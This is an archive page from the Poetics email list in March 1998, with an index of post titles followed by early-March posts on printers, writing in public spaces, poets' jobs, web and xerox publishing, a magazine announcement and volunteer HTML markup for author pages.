678. Michael J. Kelleher — Reading in Buffalo
679. david bromige — GB : too far this time
680. henry gould — Re: GB : too far this time
681. david bromige — George Washington-Machine
682. morpheal — Re: GB : too far this time
683. William Burmeister Prod — Re: borrowings
684. Z. Baring-Gould — Re: George Washington-Machine
685. LanceEli3 — Re: biblical...?

686. William Burmeister Prod — Re: biblical...?
687. Keston Sutherland — reading
688. daniel bouchard — zinc reading: come all ye faithful
689. morpheal — Re: Adonis
690. David Kellogg — Re: biblical...?
691. Mark Weiss — Re: biblical...?
692. Maz881 — Re: opposite
693. Safdie Joseph — FW: Error Message Haiku
694. morpheal — Re: biblical...?

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695. George Bowering — Re: Bromige shy abt achievement
696. Pierre Joris — Re: in our image
697. Tom Mandel — in our image
698. Tom Mandel — <sigh>religion</sigh>
699. Hank Lazer — Re: Stein quote - where?
700. L.MacMahon and T.R.Healy — Cork Poetry Conference 1
701. Cadaly — Poetry Tourism: Hong Kong
702. david bromige — i dont "under stand" metaphor
703. k. lederer — Re: Stein quote - where?
704. Alan Myouka Sondheim — sonnet, DNS, entropy
705. dbkk — Another plug (non-nepotistic), for SWARM

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706. AERIALEDGE — Baltimore Reading
707. Alan Myouka Sondheim — children's word transformation game
708. L.MacMahon and T.R.Healy — Cork Conference 2
709. Miekal And — Sleep Somalixt MANIFESTO
710. J. Kuszai — New Discussion Group; New Discussion List (fwd)
711. michael corbin — Re: civic-li(v)e
712. morpheal — Re: science & metaphor
713. henry gould — Re: in our image
714. morpheal — Re: in our image
715. morpheal — The Morphealist Manifesto
716. George Bowering — Re: that Bromige: Nobel material
717. Daniel Zimmerman — Re: The Morphealist Manifesto

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718. Tom Mandel — (no subject)
719. sean bonney — artaud translations
720. r. drake — Re: artaud translations
721. morpheal — Re: Sleep Somalixt MANIFESTO
722. morpheal — (no subject)
723. david bromige — morphealist manifesto
724. Ctfarmr — "costly clay"
725. Jordan Davis — transl/lostserv
726. Keston Sutherland — (a tentative) part 3 of ON THE OCCASION A REPAST
727. Daniel Zimmerman — Re: "costly clay"
728. k. lederer — Re: Morpheal's message re: women on the list--
729. Schuchat Simon — Poet freed
730. Siann Ngai — Open Letter Launch in NYC
731. Karen Kelley — Re: Morpheal's message re: women on the list--
732. R M Daley — KATY L Re: Morpheal's message re: women on the list--
733. Gabriel Gudding — Duck-shaped melanomas
734. Mairead Byrne — Re: Morpheal's message re: women on the list--

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735. Ctfarmr — costly clay
736. k. lederer — Re: Reply to Karen and Mairead--re: women on the list
737. Miekal And — wo(men) on the list--
738. henry gould — Re: costly clay
739. Fred Muratori — For Laura (Riding) Jackson Fans
740. Don Wellman — Re: KATY L
741. Alan Myouka Sondheim — Re: costly clay
742. Mairead Byrne — Re: Reply to Karen and Mairead--re: women on the list
743. Gary Sullivan — JAB 9
744. William Marsh — women hyperpoets
745. Charles Bernstein — Hilda Morley (1919-1998)
746. Maria Damon — Re: Close Listening: Poetry and the Performed Word (Announcement)
747. r. drake — Re: women hyperpoets
748. r. drake — Re: wo(men) on the list--
749. Hzinnes — Re: JAB 9
750. Hzinnes — Re: For Laura (Riding) Jackson Fans
751. R M Daley — Re: Reply to Karen and Mairead--re: women on the list
752. Gary Sullivan — Re: JAB 9
753. Gary Sullivan — JABs all gone!
754. s. kaipa — Re: women in poetry and in the arts
755. Thomas Bell — Re: Open Letter Launch in NYC
756. k. lederer — Re: Reply to Rachel re: women
757. k. lederer — Re: women in poetry and in the arts
758. k. lederer — Re: esp Rachel, Models of Power
759. R M Daley — Re: Reply to Rachel re: women
760. morpheal — Re: Reply to Karen and Mairead--re: women on the list
761. morpheal — Re: costly clay
762. R M Daley — Re: esp Rachel, Models of Power
763. Keston Sutherland — Re: esp Rachel, Models of Power
764. Keston Sutherland — Re: esp Rachel, Models of Power
765. henry gould — submission
766. k. lederer — Re: Reply to Rachel re: women
767. Aldon Nielsen — L.A. reading by Michael Davidson and David Bromige
768. Maria Damon — Re: women in poetry and in the arts
769. Keston Sutherland — verisimilitudes and usefulnesses
770. Christopher W. Alexander — Re: Reply och trembling viacom
771. Gwyn McVay — women who do write
772. CharSSmith — Sound States
773. David Zauhar — Re: Sound States
774. Keston Sutherland — add-on disappointment (fwd)
775. Miekal And — Re: women hyperpoets
776. Christopher Reiner — SF Reading
777. Don Wellman — Re: women
778. Henry Gould — scuba diving
779. Mairead Byrne — Re: Reply to Rachel re: women
780. Marcella Durand — womanly
781. Scott Pound — Re: Open Letter Launch in NYC
782. Karen Kelley — Models of Power
783. Wendy Kramer — indoor plumbing
784. Billy Little — what do man want?

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785. Shemurph — Tom Mandel's e-ddress
786. Rebecca Weldon Sithiwong — women on the list
787. Stephen Cope — Fwd:MEXPERIMENTAL
788. Charles Weigl — Re: women

789. Stephen Cope — Re: Sound States
790. Stephen Cope — Re: Robert Duncan at the MLA
791. david bromige — re : what do man want?
792. Miekal And — what do man want?
793. George Bowering — Re: women in poetry and in the arts
794. Maria Damon — Re: womanly
795. dee morris — Re: Sound States
796. henry gould — Re: Sound States
797. Gwyn McVay — perspective re: women
798. sylvester pollet — Re: perspective re: women
799. sylvester pollet — Re: Sound States
800. William Burmeister Prod — Re: Models of Power
801. William Burmeister Prod — Re: women
802. Billy Little — canada's top painter
803. Mark Prejsnar — submission and dominance
804. Mark Prejsnar — Re: women who do write
805. William Burmeister Prod — Re: perspective re: women
806. k. lederer — Re: submission and dominance
807. Billy Little — Lazy editors
808. Carolyn Guertin — Feminist Poetics
809. Darren Wershler-Henry — Re: Open Letter Launch in NYC
810. s. kaipa — Re: women
811. s. kaipa — Re: women in poetry and in the arts
812. R M Daley — Re: submission and dominance
813. Mark Prejsnar — stupid and lazy posts
814. henry gould — Re: Lazy editors
815. k. lederer — Re: submission and dominance
816. Mark Prejsnar — fascistic rhetorics
817. Elizabeth Hatmaker — Re: women in poetry and in the arts
818. William Burmeister Prod — Re: women in poetry and in the arts
819. CharSSmith — Re: Sound States
820. k. lederer — Re: submission and dominance
821. Stephen Cope — Re: Sound States/Funkhouser
822. CharSSmith — Re: Sound States/Funkhouser
823. Thomas Bell — Re: women who do write
824. L.MacMahon and T.R.Healy — new titles from Wild Honey Press
825. Patrick F. Durgin — Re: women in poetry and in the arts
826. Keston Sutherland — Re: fascistic rhetorics
827. George Bowering — Re: women
828. George Bowering — Re: stupid and lazy posts
829. George Bowering — Re: women in poetry and in the arts
830. Cadaly — Contribution
831. s. kaipa — Re: women in poetry and in the arts
832. Cadaly — Chaffing & Winnowing
833. Maria Damon — Re: women in poetry and in the arts
834. Cadaly — Anecdotal Agoraphobia
835. laura and jeff — Re: perspective re: women
836. laura and jeff — Re: submission and dominance
837. William Burmeister Prod — Re: women in poetry/arts & chaffing/winnowing
838. Billy Little — not helpful billy
839. k. lederer — Re: stupid and lazy posts
840. morpheal — Re: submission and dominance
841. morpheal — Re: Lazy editors
842. Karen Kelley — Re: women in poetry and in the arts
843. r. drake — Re: stupid and lazy posts
844. morpheal — Re: stupid and lazy posts

845. Henry Gould — Re: stupid and lazy posts
846. Kenneth Goldsmith — Real Audio Services Needed

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847. michael corbin — Re: federalist ten
848. Mark Weiss — Re: submission and dominance
849. Maz881 — New Booklet
850. sarah venart — unmarked listserv (the female question)
851. Marcella Durand — woman
852. Alan Myouka Sondheim — A True Story
853. morpheal — Re: Quanta of Poetic Spin in Virtual Hyper Space (Federalist Ten)
854. Christopher W. Alexander — Re: Feminist Poetics
855. Joe Amato/Kass Fleisher — Re: unmarked listserv (the female question)
856. Mairead Byrne — Re: submission and dominance
857. Sylvester Pollet — Re: submission and dominance
858. Patrick F. Durgin — Query ---->
859. Gwyn McVay — Re: unmarked listserv (the female question)
860. r. drake — Re: unmarked listserv (the female question)
861. Mark Prejsnar — Re: stupid and lazy posts
862. Ellay Phillips — Re: unmarked listserv (the female question)
863. Mark Prejsnar — Re: submission and dominance
864. Aldon Nielsen — Re: "balled my eyes out at the Titanic"
865. Cadaly — Chaffing, contributing, etc.
866. Aldon Nielsen — conference announcement
867. laura and jeff — i was wondering...
868. William Burmeister Prod — Re: i was wondering...
869. Keston Sutherland — new pamphlet
870. Gabriel Gudding — Sycamore Review: All Full Up
871. RaeA100900 — Re: Query v. Ed Foster
872. Don Byrd — Re: i was wondering...
873. Maryrose11 — David Bromige in Kansas
874. CharSSmith — Re: Query v. Ed Foster
875. Julie Marie Schmid — Re: Query v. Ed Foster
876. David Golumbia — Re: Query v. Ed Foster
877. Henry Gould — \engine dire
878. k. lederer — Re: \engine dire
879. henry — Re: \engine dire
880. Aldon Nielsen — Re: \engine dire
881. Kenneth Goldsmith — UbuWeb Sound Poetry Saved
882. Maria Damon — Re: \engine dire
883. k. lederer — Re: Queries: Yau and Friedman
884. henry — Re: \engine dire
885. Michael McColl — Re: stupid and lazy posts

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886. Aldon Nielsen — Re: \engine dire
887. George Bowering — Re: stupid and lazy posts
888. George Bowering — Re: stupid and lazy posts
889. George Bowering — Re: stupid and lazy posts
890. rsillima — "A"-24
891. henry gould — Re: \engine dire
892. henry gould — Re: costly clay
893. Mairead Byrne — Re: \engine dire
894. henry — Re: \engine dire
895. Douglas Barbour — Re: what does Jonesboro have to do with women & poetry & Poetics list
896. Mairead Byrne — Re: \engine dire
897. daniel bouchard — Re: what does Jonesboro have to do with women & poetry & Poetics list

898. morpheal — Re: Editors finding poetry ? (was: stupid and lazy posts)
899. Elizabeth Hatmaker — Re: \engine dire
900. henry — Re: \engine dire
901. morpheal — Re: costly clay
902. morpheal — Re: what does Jonesboro have to do with women & poetry & Poetics list
903. Reinfeld, Linda — Re: POETICS Digest - 25 Mar 1998 to 26 Mar 1998
904. Susan Wheeler — Spring
905. Keston Sutherland — Re: what does Jonesboro have to do with women & poetry & Poetics list
906. Ellay Phillips — Re: \engine dire
907. Burt Kimmelman — Re: Query v. Ed Foster
908. Keston Sutherland — Re: what does Jonesboro have to do with women & poetry & Poetics list
909. k. lederer — Re: Virginia Woolf, class
910. Ryan Whyte — On Symmetry
911. Ctfarmr — women and men in conversation
912. Charles Bernstein — Ishihara/Reinfeld
913. Elizabeth Hatmaker — Re: Virginia Woolf, class
914. Maria Damon (Maria Damon) — Re: women and men in conversation
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916. david bromige — women & men in conversation
917. Christina Fairbank Chirot — Re: what does Jonesboro have to do with women & poetry & Poetic…
918. Mark Weiss — Re: what does Jonesboro have to do with women & poetry & Poetics list
919. Henry Gould — Re: women & men in conversation
920. Elizabeth Hatmaker — Re: women and men in conversation
921. Keston Sutherland — extra-tentative pt.4 of O.T.O.A.R
922. George Bowering — Re: what does Jonesboro
923. Mark Weiss — Re: women and men in conversation
924. michael corbin — Re: \engine dire, etc . . .
925. Don Wellman — Re: women and men in conversation
926. Keston Sutherland — Re: women and men in conversation
927. k. lederer — Re: women and men in conversation
928. k. lederer — Explosive Editing--Ishamel Klein

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929. Thomas Bell — Re: POETICS Digest - 25 Mar 1998 to 26 Mar 1998
930. david bromige — women & men in conversation
931. sylvester pollet — Re: women & men in conversation
932. Rebecca Sithiwong — Virginia Woolf, class
933. Daniel Zimmerman — Re: Ishihara/Reinfeld Hyakunin Isshu
934. Thomas Bell — Re: Explosive Editing--Ishamel Klein
935. Dr. Michael J. O'Driscoll — Re: what does Jonesboro have to do with women & poetry & Poetic…
936. Reinfeld, Linda — Ishihara/Reinfeld Hyakunin Isshu
937. linda russo — women, i.e. rachel & katy
938. Robert Manery — KSW Call for Support
939. morpheal — Re: what does Jonesboro have to do with women & poetry & Poetics list
940. Karen Kelley — Re: Virginia Woolf, class
941. Karen Kelley — Re: what does Jonesboro have to do with women & poetry & Poetics list
942. Shemurph — The Personal
943. Keston Sutherland — raped into a chosen martyrdom eh
944. ScoutEW — Re: Farmers Schoolboys
945. dbkk — Re: women and men in conversation
946. Maria Damon — Re: Virginia Woolf, class
947. morpheal — Re: raped into a chosen martyrdom eh
948. Karen Kelley — Re: women and men in conversation

949. Thomas Bell — Re: women and men in conversation
950. Keston Sutherland — Re: raped into a chosen martyrdom eh
951. Keston Sutherland — Re: Farmers Schoolboys
952. k. lederer — Re: esp Rachel, Models of Power
953. Nada Gordon — my penis
954. Taylor Brady — Publication Announcements
955. Gabriel Gudding — Sutherland's Apology
956. joel lewis — Re: what does Jonesboro have to do with women & poetry & Poetics list
957. k. lederer — Re: women, i.e. rachel & katy
958. R M Daley — hi linda and haha ! katy
959. R M Daley — Re: women, i.e. rachel & katy
960. k. lederer — Re: women, i.e. rachel & katy

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961. Rebecca Sithiwong — personal
962. rsillima — Guns, gender, children
963. Chrsmccrry — unsubscribe poetics
964. david bromige — re : unsubscribe poetics
965. Billy Little — personality
966. Keston Sutherland — (no subject)
967. morpheal — Re: personality
968. Alan Myouka Sondheim — Re: re : unsubscribe poetics
969. D W Have — "BOYS"
970. k. lederer — Ron and Don: what's wrong with the conversation?
971. Tim Wood — Re: "BOYS"
972. k. lederer — Statistics and Silliman
973. Karen Kelley — Re: personal
974. Karen Kelley — Personal
975. Keston Sutherland — boor
976. Douglas Barbour — Re: Morpheal on the need to bear arms
977. Tom Orange — "a"-24
978. Don Byrd — Re: re : unsubscribe poetics
979. Don Byrd — Re: re : unsubscribe poetics
980. Mark Weiss — Re: Guns, gender, children
981. linda russo — Re: Guns, gender, children
982. linda russo — Re: women, i.e. rachel & katy
983. henry gould — Re: re : unsubscribe poetics
984. Henry Gould — Aimee Grunberger
985. Gwyn McVay — speaking of forces that silence
986. SSSCHAEFER — Re: Guns, gender, children
987. k. lederer — Re: Guns, gender, children
988. Nada Gordon — women/men/communication/cherry blossoms
989. Michael McColl — The Personal in Poetics (fwd) (fwd)
990. morpheal — Re: Aimee Grunberger
991. Henry Gould — god 44
992. Keston Sutherland — margin(-)alias
993. Daniel Zimmerman — Re: my penis

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994. Brian Clements — Re: my penis
995. morpheal — Re: Morpheal on the need to bear arms
996. Thomas Bell — Re: The Personal in Poetics (fwd) (fwd)
997. k. lederer — Re: Guns, gender, children, crusades
998. Miekal And — muse margin(-)aliasalia
999. Beth Joselow — writing and family
1000. sarah venart — Re: POETICS Digest - 28 Mar 1998 to 29 Mar 1998
1001. Michael J. Kelleher — Reading

1002. SSSCHAEFER — Re: Guns, gender, children
1003. SSSCHAEFER — Re: Guns, gender, children
1004. k. lederer — Re: Guns, gender, children
1005. Michael McColl — Re: muse margin(-)aliasalia
1006. Keston Sutherland — Re: Guns, gender, children
1007. k. lederer — disobedience (fwd)
1008. Keston Sutherland — critters
1009. morpheal — Re: disobedience (fwd)
1010. Michael McColl — Re: Guns, gender, children
1011. Gabriel Gudding — The personal -- A Hx
1012. R. Gancie — Ron and Don
1013. s. kaipa — Query
1014. Rachel Levitsky — [Fwd: dsanet: No comment (fwd)]
1015. Cadaly — Women's Writing Workshop
1016. SSSCHAEFER — Re: Guns, gender, children
1017. SSSCHAEFER — Re: Guns, gender, children
1018. dbkk — Re: women/men/communication/cherry blossoms
1019. Henry Gould — CAPA
1020. Mark Weiss — Re: Guns, gender, children
1021. Rachel Levitsky — Re: what does Jonesboro have to do with women & poetry & Poetics list
1022. Keston Sutherland — Re: margerine
1023. k. lederer — Re: Stadard S, "truth," Dodie's wkshps
1024. charles alexander — no guns
1025. Jordan Davis — bay-bee
1026. MAYHEW — iceberg lettuce
1027. henry g — Re: Stadard S, "truth," Dodie's wkshps
1028. Miekal And — prunus
1029. morpheal — Re: iceberg lettuce
1030. laura and jeff — Re: submission and dominance
1031. Mark Weiss — Re: Stadard S, "truth," Dodie's wkshps
1032. Mark Weiss — Re: no guns
1033. morpheal — Re: no guns
1034. k. lederer — Re: Stadard S, "truth," Dodie's wkshps
1035. Marcella Durand — Chris Funkhouser search
1036. laura and jeff — Re: no guns
1037. Billy Little — the shelf
1038. Don Wellman — Re: women/men/communication/cherry blossoms
1039. Marcella Durand — more boring chit-chat
1040. laura and jeff — Re: disobedience (fwd)
1041. Nada Gordon — to dodie/wmn's wrkshps/my personal story
1042. SSSCHAEFER — Re: more boring chit-chat
1043. Maz881 — Re: re : unsubscribe poetics
1044. michael corbin — Re: women/men/communication/cherry blossoms
1045. Tim Wood — Re: iceberg lettuce
1046. Karen and Trevor — kelsey st press (women in publishing)
1047. Tim Wood — Re: Stadard S, "truth," Dodie's wkshps

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1048. nanostep — recommendations sought - poets' theatre
1049. Rachel Loden — Hilda Morley
1050. David Dowker — The Alterran Poetry Assemblage - #3
1051. Jordan Davis — *you're never a latent anything
1052. Loss Pequen~o Glazier — Note for Hilda Morley
1053. Burt Kimmelman — Re: Chris Funkhouser search
1054. Miekal And — Xerolages 26 + 27
1055. Douglas Barbour — Re: Guns, gender, children, crusades, etc.

1056. Mark Prejsnar — Re: more boring chit-chat
1057. k. lederer — Ex Ed--Emily Wilson
1058. dbkk — Re: to dodie/wmn's wrkshps/my personal story
1059. Patrick F. Durgin — Re: Ex Ed--Emily Wilson
1060. dbkk — Moving Borders reading at SPT
1061. CharSSmith — Re: Chris Funkhouser search
1062. Patrick F. Durgin — Ke n n i nG
1063. SSSCHAEFER — Re: more boring chit-chat
1064. Poetics List — Welcome Message
1065. Rachel Levitsky — Re: women/men/communication/cherry blossoms
1066. SSSCHAEFER — Re: more boring chit-chat
1067. Mark Prejsnar — Feminism or barbarism
1068. David Gitin — unsubscribe
1069. daniel bouchard — readings in NYC this week
1070. Mark Prejsnar — essentialistically non chit-chat
1071. Mark Prejsnar — Misc. Proj. #5 available
1072. Clark D Lunberry — Woodland Pattern Book Center
1073. Carkoo — No R¿ses Review
1074. Henry gould — sound politics
1075. morpheal — Re: iceberg lettuce
1076. morpheal — Re: sound politics
1077. MAYHEW — Creative Reading
1078. MAYHEW — Creative Reading II
1079. laura and jeff — Re: *you're never a latent anything
1080. Rachel Levitsky — Re: screening process/feminism
1081. Robert Hale — Reading Notely's Disobedience
1082. Maria Damon (Maria Damon) — Re: Creative Reading
1083. Maria Damon (Maria Damon) — Re: Creative Reading
1084. Aviva99999 — Re: more boring chit-chat

1. Henry Gould
Re: Printers?
Sun 1 Mar 1998

Bookcrafters did an excellent job on the festschrift for Honig - Glass of Green Tea. Is this list the place for namecalling without substantiation? Calling them "crooks"? - Henry Gould

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2. David R. Israel
Re: smack / In the Cut
Sun 1 Mar 1998

> *In terms of risk, a poem functions in our wider culture like an unsolicited kiss.*
>
> *Tom B.*

where does that leave Poetry In Motion? (the brief-snippets-of-poems-posted-on-the-subways/buses phenom that one finds in, I think, at this point, several big cities?)? --

speaking of which, said poems play a not insignificant role in the (as one may say) hip intellectual thriller, *In the Cut*, by Susanna Moore. The protagonist of said novel is, among else, a linguist living in the Village, studying the evanescent appearance of argot.

uncle david says: check it out (if you can deal with the horrible homicides around which the tale turns) --

the closing lines of the book bring into focus (pathetically & well) the narrator's consideration of a few such Po in Mo lines from a Native American poem

d.i.

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3. Louis Cabri
floating moustache
Sun 1 Mar 1998

Where exactly lies the difference between writing in a "bachelor" ("studio") apartment, and writing in a mall, as far as writing method goes? I was going to use the word "private" to begin a usual way of describing where that difference might lie but it then occured to me: what can "private" mean if there isn't a viable "public" nomores? Isn't walking from apartment into mall walking from

small *private* space with media in it into large *private* space with people and media in it? In a way, only that. But: "private" continues to have some *relative* merit as a site from which new disclosures are made, just as "public" can still be *thought* ... and, besides, am I not being empirically obtuse in refusing the distinction?

Is there not instead, however, a useful distinction to be found between writing where-ever you are, and writing for pay where- ever you are (and then a further distinction within the latter)? This is what some on the list recently suggested to be the case with regards to poets in places other than their rooms.

Once upon a time in the land of the late '80s Michael Dennis was an Ottawa poet without a job. (Ottawa... a small government town about the size of the postcard you can get from it declaring itself a country's capitol.) Michael Dennis used to sit at a cardtable in the window of a used bookstore on -- appropriately enough -- Bank Street, at a typewriter, writing at at at poems for his next chapbook. One poem I remember is about how his girlfriend kicked him out of their shared place because she smelled someone else on his moustache.

Think of, not moustaches, soaked in rum & orange, & thighs, but rather, Michael's way of orienting himself in what you have to kind of fill-in to imagine as the commoditized social space of a gentrified block of small shops. Michael's social-space "orientation" is, I think, different from that Dan Davidson is purported to have brought to writing his incredible book, *Product*, in a mall. In contrast to Michael's, Dan's "orientation" would seem to be as a nonperformer anonymously assuming any seat in the mall, ethnography-style. There is a kind of immediate *symbolic* payback Michael gets from his orientation within social space -- and from the social space itself (and on its own terms) (and at his former girlfriend's expense), that Dan does not get from the way *he* "occupied" his social space. Dan takes on the social space of the mall as the very subject matter of his poem: subjectivity becomes an objectified labour mystified by the commodity form as that form especially pervades the mall environment. Whereas, occupying a window as a live mannequin that types, advertising one's life as the next attraction besides the store, seems to only make the commmodity form come more mysteriously to life in his own person.

What, in other words, would one hope to achieve by being paid to "be a poet" in, say, a laundromat, or at NASA, as some have suggested on this list? -- Fans? -- A moustache? -- Proof that absurdist interstices exist achronically and that you have found one of them?

Yet perhaps there *is* a role for the poet with personality to sell, now (that is, for poets way-way younger than Vozneshensky, and, moreover, way-way past the Cold War trip). But then compare "being a poet" working for NASA with "being a poet" working for a literacy project, or working as a poet in a car plant

(as someone suggested), a school, prison, or community centre. Aren't they two different ideological orders of work? Isn't there (or can't one "say" this anymore) a different understanding of what language is as a medium, implicit behind each of these two orders of paid poets?

Is there a difference, then, between Dan stepping outside of a domestic writing-space in order to self-reflexively address the rules themselves of social space such as they manifest themselves in a mall, and Michael simply using the rules of a space to elevate himself before a gaze of the abstract Buyer much as if he was standing before his bedroom mirror? What might a Return of the Living Beat Poet, post politics, mean?

It remains the case for me that the performance of the social space of the mall ca. late-80s gets refracted -- very live -- in *Product*, but the performance of Michael's personal life in the shop window on Bank Street remains purely anecdotal, despite his chapbook.

Michael's used store at least had poetry on the shelves -- which lead to some social ironies. Right opposite the used bookstore with the poet typing in the window was another bookstore. This other store sold new books and magazines of left, left-left, radical- left political persuasions. It was run as a cooperative. It barely had any poetry books. A novelist was employed there. Yet I was a good friend of the novelist's; whereas, I was only the vaguest acquaintance of the poet's. Yet I bought more books from the store with the poet in the window. Yet I have no fucking idea why I am writing this excruciatingly dull and long discursive and mechanical post anymore, and in such a turgid style too, stalely remembered, with probably overall misplaced determination -- I need air bad; whereas, *Capital* vol. 1 chapter 1 sits open to the left of my screen, like a window onto

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4. david bromige
dept stores & poets
Sun 1 Mar 1998

I was going to say something brilliant but by the time I'd logged-in I forgot it. This must be the opposite of staircase wit. Imagine, finding oneself on-line on-List with no apparent purpose." Oops--sorry!" As though one had blundered upon others better organized, persons aware of just where their creds are at this point in the evening. All over the bed, like coats and scarves.

I find Tom Beckett's advent upon us, miraculous. In the most everyday sense of that term. Like, the landscape altered. In a twitch of a lid.

It had had to do with the application of poets. To getta job. Anyone who knows me, knows I would fit this role well. But noone who knows me is able to make me the offer. I wonder, how can one be a poet and meet the credentials for this kind of application of what one happens to be? Usually, when I gotta job, I hid the poetry part. The plane trees had been recently polled, beside Barclay's Bank of California.

O, I remember what I wanted to say. George Bowering was looking good in the lingerie department, and he used to sprawl there and scribble away. But SFU with a 5-million-in-90-years contract, lured him away from Hudsons Bay Company.

dmb3

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5. Mark Weiss
Re: Printers?
Sun 1 Mar 1998

I didn't call them crooks, Henry. Glass of Green Tea is ok, except that there's a lot of read-through because the paper is rather light, but the two samples they sent me were really appallingly bad printing.

At 12:02 AM 3/1/98 EST, you wrote:
>Bookcrafters did an excellent job on the festschrift for Honig - Glass
>of Green Tea. Is this list the place for namecalling without substantiation?
>Calling them "crooks"? - Henry Gould
>
>

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6. Mark Weiss
dept stores and poets
Sun 1 Mar 1998

I must have misunderstood. I thought the poet-in-residence at a commercial concern would be a sort of poet laureate, expected to write occasional verse. "Ode to a C-cup," and the like.

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7. Miekal And
I/O
Sun 1 Mar 1998

Im reminded of when the xerox machine first invaded, its cheap access spawning (& still) a notion of publishing more anarchist than democratic, & how many years it took for xerox to be legitimized as a valid form of publication, especially in the eyes of libraries, buyers & archives. The accessibility allowed everyone to try their hand at publishing "editions". This initiative, however, was far more successful in the zine world (very little of which contains the type of content discussed here), that in the literary small press, partly because the monstrous enigma of the printed book is unscalable, unoverthrowable, xerox publishing has largely remained ephemeral & marginalized, nee mimeography.

I see the web as an entirely different beast. Rather than comparing it to print media, I prefer to compare it to broadcast media & networking. Also I think it is a mistake to think that content is the only marker of successful netmedia. Poor layouts, bad code, cliche devices, lack of vision & promotion, & understanding of what makes hypermedia an evolution in information delivery & retrieval will all play a part in sustainability of the digital inflorescence.

Since I dont have a feeling of this readership's knowledge of the computer industry & what is available, there is one vision that has been around for many years, perhaps began in diginfant days of the Media Lab, of books & objects transmitted via the net, to be reproduced via intelligent printers which will print, collate, bind & deliver a book at the click of a button, & of course, the technology exists to do the same with extruded 3-D objects. & as with most research technology, it is poised to be released only at the point when the "consumers" are ready to invest in the next best thing.

Leonardo Glissando

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8. TBeck131
Re: smack / In the Cut
Sun 1 Mar 1998

It all sounds pretty compatible to me. Why not publish a poem on a sidewalk or bus?
Think of Jenny Holzers early work.

Incidentally, I like Susanna Moore's fiction. But particularly the Hawaiian novels.

Tom Beckett

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9. rsillima
Pocket
Sun 1 Mar 1998

"I can't stick a desktop in my pocket." Tom Beckett

Tom,

If you've seen the PalmPilot Professional or others of the higher end hand- held PDAs, you'll realize that it's just a matter of time.

Ron

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10. Billy Little
cyberia
Sun 1 Mar 1998

cyberdemo

create new folder
iraqi people paste this poem
over the past month
the entire population
of Iraq has passed thru
the Miami or Dade County airport
` quietly but inexhorably
they have replaced
every person in the state of Georgia
soon they'll elect a senator
their children will repoplulate South Carolina
the only casualties reported from the bombing
the seven american witnesses from PEN
or any other poem you choose
under file
click save
save save
iraqis all
select all iraqis
save copy paste
iraqi people
paste save
paste save

iraqi people
10am &10pm
all click save
iraqi people
all send CBC <[redacted]>
or gov
or bbc, abc
or soaprah/lush rimbuagh/hairy cling
3 words
save iraqi people
10am &10pm
all send
save iraqi people
all click save
save as living breathing
iraqi people

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11. Kcglowworm
Re: Critical issues
Sun 1 Mar 1998

In response to Joel Kuszai's post ("NOW we might think of clustering critial interests around volunteeristic/careeristic editors who would do the labor of assembling the texts. As Loss pointed out (here/there) the actual markup for this activity would be relatively easy and done at the EPC home office, so no real html experience would be required"):

I agree, but would suggest further:
1. why doesn't each of us volunteer for such work, since it can all be attached to email as text files, and
2. why do it only at the EPC home office, for the same reason?

Most of us on this list have access to a computer (or we couldn't be on this list unless your only access is through computer labs and such) and there are HTML editors that can be downloaded online (AOLPress, for example, is quite a handy one).

Let's spread out the work, not burden any one person with this, AND get more people published, even if "only" online. Hell, let's get social! Think of it as a webbing bee.

George Hartley
[redacted]

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12. SSSCHAEFER
Rhizome 2
Sun 1 Mar 1998

Rhizome 2 is out.

It includes David Bromige, Patrick Pritchett, Ray DiPalma, Barbara Guest, Nick Piombino, a really exciting collaboration between Nico Vassilakis & Noemi Maxwell, George Albon (poems and art), Tan Lin, Norma Cole, very odd fiction from John Yau.

Poems by Joe Ross, Douglas Messerli, Jacques Debrot, Michael Gottlieb, Mark Wallace, Steve Carl, Andrew Mossin, Graham Foust. Laynie Browne, Martha Ronk, Leslie Scalapino, Bruce Andrews, another exciting collaboration between Paul Vangelisti and Dennis Phillips. Aaron Shurin, Brian Strang, Paul Long, and Avery Burns are also there.

Plus translations of two Mexican fiction writers- Jaime Villareal and Fabio Morabito.

A number of reviews and essays ranging from Japanese Suicides Notes as a Genre to Sorrentino's Ocean, reviews of Andrew Joron, Guy Bennett, Dominique Fourcade. John Yau's latest books are illuminated by Dennis Barone.

It's a handsome issue, perfect bound, 176 pages, an array of art by Dennis Oppenheim and William Greenspon.

Copies are available for $10. Send check to Standard Schaefer, 366 S.Mentor Ave. #108, Pasadena, CA 91106.

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13. Maria Damon
Re: smack / In the Cut
Sun 1 Mar 1998

At 12:20 AM -0500 3/1/98, David R. Israel wrote:
...the closing lines of the book bring into focus (pathetically & well)
>the narrator's consideration of a few such Po in Mo lines from a
>Native American poem
>

but it is from a Pomo poem, and is it postmodern?

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14. **TBeck131**
Re: Critical issues
Sun 1 Mar 1998

Now you're talking.

Tom B.

↑ Index

15. **Joel Kuszai**
Re: Critical issues
Sun 1 Mar 1998

ok. thanks Kcglowworm for your suggestions about "each of us" getting the business done. i have some comments and some rather silly questions perhaps, but there might be people on this list who can help. first, back to George H's post:

> *I agree, but would suggest further:*
> *1. why doesn't each of us volunteer for such work, since it can all be attached to email as text files, and*
> *2. why do it only at the EPC home office, for the same reason?*

1. one thing in reply here. As someone who owns two computers that don't work (floppy disk drives broke), the use of the network has meant digital survival. sending docs via attachments or thru ftp or fetch has been crucial to all my projects. I can upload at school files and disks and then pull them down at home to edit, print, etc. Anyhow--and more on this question, as the network extends where I can continue a healthy percentage of my business, both on-line and off. It reminds me of when I was in college (late 80s) when I didn't own a computer and relied on the school labs. luckily they were open24hrs. now i'm glad when the door to a computer lab is locked, some kind of institutionally mandated form of situationist intervention.

1.b

George, a simple technical reminder which gets to the heart of the issue: please remember not to send attachments to the poetics list address, as not everyone has an email reader which will allow for this to be accomplished with any success, and also, people on the digest feedbag i think will have it worse as I can't even imagine howthe digest file handles attachments. And on that note, i find that not everyone I deal with on the network can really handle or access the technology required to work with attachments. this can and will be something that is overcome, but because I am barely/not quite able to do all of the things with a computer that I need to, I'm not always able to help.

All that aside, there are so many ways around the issue of attachments so the on-line collaboration is a possible pathway here to getting the EPC author page webs done. More of George:

> *Most of us on this list have access to a computer (or we couldn't be on this list unless your only access is through computer labs and such) and there are HTML editors that can be downloaded online (AOLPress, for example, is quite a handy one).*

